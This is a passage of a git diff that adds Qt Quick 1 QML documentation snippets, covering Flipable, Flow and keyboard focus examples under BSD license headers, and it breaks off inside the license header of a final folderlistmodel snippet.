diff --git a/doc/src/snippets/qtquick1/flipable/flipable.qml b/doc/src/snippets/qtquick1/flipable/flipable.qml
new file mode 100644
index 0000000000..bad9736fa4
--- /dev/null
+++ b/doc/src/snippets/qtquick1/flipable/flipable.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Flipable {
+ id: flipable
+ width: 240
+ height: 240
+
+ property bool flipped: false
+
+ front: Image { source: "front.png"; anchors.centerIn: parent }
+ back: Image { source: "back.png"; anchors.centerIn: parent }
+
+ transform: Rotation {
+ id: rotation
+ origin.x: flipable.width/2
+ origin.y: flipable.height/2
+ axis.x: 0; axis.y: 1; axis.z: 0 // set axis.y to 1 to rotate around y-axis
+ angle: 0 // the default angle
+ }
+
+ states: State {
+ name: "back"
+ PropertyChanges { target: rotation; angle: 180 }
+ when: flipable.flipped
+ }
+
+ transitions: Transition {
+ NumberAnimation { target: rotation; property: "angle"; duration: 4000 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: flipable.flipped = !flipable.flipped
+ }
+}
+//! [0]
+
diff --git a/doc/src/snippets/qtquick1/flow.qml b/doc/src/snippets/qtquick1/flow.qml
new file mode 100644
index 0000000000..32478da931
--- /dev/null
+++ b/doc/src/snippets/qtquick1/flow.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightblue"
+ width: 300; height: 200
+
+//! [flow item]
+ Flow {
+ anchors.fill: parent
+ anchors.margins: 4
+ spacing: 10
+
+ Text { text: "Text"; font.pixelSize: 40 }
+ Text { text: "items"; font.pixelSize: 40 }
+ Text { text: "flowing"; font.pixelSize: 40 }
+ Text { text: "inside"; font.pixelSize: 40 }
+ Text { text: "a"; font.pixelSize: 40 }
+ Text { text: "Flow"; font.pixelSize: 40 }
+ Text { text: "item"; font.pixelSize: 40 }
+ }
+//! [flow item]
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml b/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml
new file mode 100644
index 0000000000..30b1c699c9
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/MyClickableWidget.qml
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [clickable in focusscope]
+FocusScope {
+
+ id: scope
+
+ //FocusScope needs to bind to visual properties of the children
+ property alias color: rectangle.color
+ x: rectangle.x; y: rectangle.y
+ width: rectangle.width; height: rectangle.height
+
+ Rectangle {
+ id: rectangle
+ anchors.centerIn: parent
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent }
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+ }
+ MouseArea { anchors.fill: parent; onClicked: { scope.focus = true } }
+}
+//! [clickable in focusscope]
diff --git a/doc/src/snippets/qtquick1/focus/MyWidget.qml b/doc/src/snippets/qtquick1/focus/MyWidget.qml
new file mode 100644
index 0000000000..0cca7479e8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/MyWidget.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [mywidget]
+Rectangle {
+ id: widget
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent}
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+}
+//! [mywidget]
diff --git a/doc/src/snippets/qtquick1/focus/advancedFocus.qml b/doc/src/snippets/qtquick1/focus/advancedFocus.qml
new file mode 100644
index 0000000000..409663b22c
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/advancedFocus.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [FocusScope delegate]
+Rectangle {
+ color: "lightsteelblue"; width: 100; height: 50
+
+ ListView {
+ anchors.fill: parent
+ focus: true
+
+ model: ListModel {
+ ListElement { name: "Bob" }
+ ListElement { name: "John" }
+ ListElement { name: "Michael" }
+ }
+
+ delegate: FocusScope {
+ width: childrenRect.width; height: childrenRect.height
+ x:childrenRect.x; y: childrenRect.y
+ TextInput {
+ focus: true
+ text: name
+ Keys.onReturnPressed: console.log(name)
+ }
+ }
+ }
+}
+//! [FocusScope delegate]
diff --git a/doc/src/snippets/qtquick1/focus/basicwidget.qml b/doc/src/snippets/qtquick1/focus/basicwidget.qml
new file mode 100644
index 0000000000..bf834b493e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/basicwidget.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [focus true]
+Rectangle {
+ color: "lightsteelblue"; width: 240; height: 25
+ Text { id: myText }
+ Item {
+ id: keyHandler
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ myText.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ myText.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ myText.text = 'Key C was pressed'
+ }
+ }
+}
+//! [focus true]
diff --git a/doc/src/snippets/qtquick1/focus/clickablewidget.qml b/doc/src/snippets/qtquick1/focus/clickablewidget.qml
new file mode 100644
index 0000000000..684384d1f6
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/clickablewidget.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [clickable window]
+Rectangle {
+ id: window
+
+ color: "white"; width: 240; height: 150
+
+ Column {
+ anchors.centerIn: parent; spacing: 15
+
+ MyClickableWidget {
+ focus: true //set this MyWidget to receive the focus
+ color: "lightblue"
+ }
+ MyClickableWidget {
+ color: "palegreen"
+ }
+ }
+
+}
+//! [clickable window]
diff --git a/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml b/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml
new file mode 100644
index 0000000000..6462301a3f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/myfocusscopewidget.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [widget in focusscope]
+FocusScope {
+
+ //FocusScope needs to bind to visual properties of the Rectangle
+ property alias color: rectangle.color
+ x: rectangle.x; y: rectangle.y
+ width: rectangle.width; height: rectangle.height
+
+ Rectangle {
+ id: rectangle
+ anchors.centerIn: parent
+ color: "lightsteelblue"; width: 175; height: 25; radius: 10; smooth: true
+ Text { id: label; anchors.centerIn: parent }
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ label.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ label.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ label.text = 'Key C was pressed'
+ }
+ }
+}
+//! [widget in focusscope]
+//! [document]
diff --git a/doc/src/snippets/qtquick1/focus/rectangle.qml b/doc/src/snippets/qtquick1/focus/rectangle.qml
new file mode 100644
index 0000000000..5cd680e1c8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/rectangle.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [simple key event]
+Rectangle {
+ width: 100; height: 100
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A) {
+ console.log('Key A was pressed');
+ event.accepted = true;
+ }
+ }
+//! [simple key event]
+
+//! [active focus]
+ Text {
+ text: activeFocus ? "I have active focus!" : "I do not have active focus"
+ }
+//! [active focus]
+
+//! [simple key event end]
+}
+//! [simple key event end]
diff --git a/doc/src/snippets/qtquick1/focus/widget.qml b/doc/src/snippets/qtquick1/focus/widget.qml
new file mode 100644
index 0000000000..a3a726eac5
--- /dev/null
+++ b/doc/src/snippets/qtquick1/focus/widget.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [window]
+
+//Window code that imports MyWidget
+Rectangle {
+ id: window
+ color: "white"; width: 240; height: 150
+
+ Column {
+ anchors.centerIn: parent; spacing: 15
+
+ MyWidget {
+ focus: true //set this MyWidget to receive the focus
+ color: "lightblue"
+ }
+ MyWidget {
+ color: "palegreen"
+ }
+ }
+}
+//! [window]
diff --git a/doc/src/snippets/qtquick1/folderlistmodel.qml b/doc/src/snippets/qtquick1/folderlistmodel.qml
new file mode 100644
index 0000000000..8aeb72c39f
--- /dev/null
+++ b/doc/src/snippets/qtquick1/folderlistmodel.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
